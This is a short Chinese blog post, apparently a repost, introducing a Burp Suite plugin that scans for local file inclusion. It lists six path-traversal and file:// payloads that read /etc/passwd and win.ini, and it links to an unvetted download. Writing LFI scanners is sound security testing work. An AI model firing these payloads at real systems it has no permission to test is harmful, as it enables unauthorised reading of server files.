本地文件包含漏洞检测工具 – Burp国产插件LFI scanner checks

　　先看下截图：

　　来对比下J2EESCAN里面附带的LFI探测

　　下面是安装上 LFI scanner checks

　　我使用的payload如下

../../../../../../../../../../../../../../../../etc/passwd%00.html
../../../../../../../../../../../../../../../../etc/passwd
file:///etc/passwd
file:///c:/windows/win.ini
../../../../../../../../../../../../../../../../windows/win.ini
../../../../../../../../../../../../../../../../windows/win.ini%00.html

　　如果有好的建议，可以在评论中给我留言

　　下载地址：http://pan.baidu.com/s/1nt5VkVn

       提示：请自行检测程序安全性

原文地址:https://hack.77169.com/201508/207795.shtm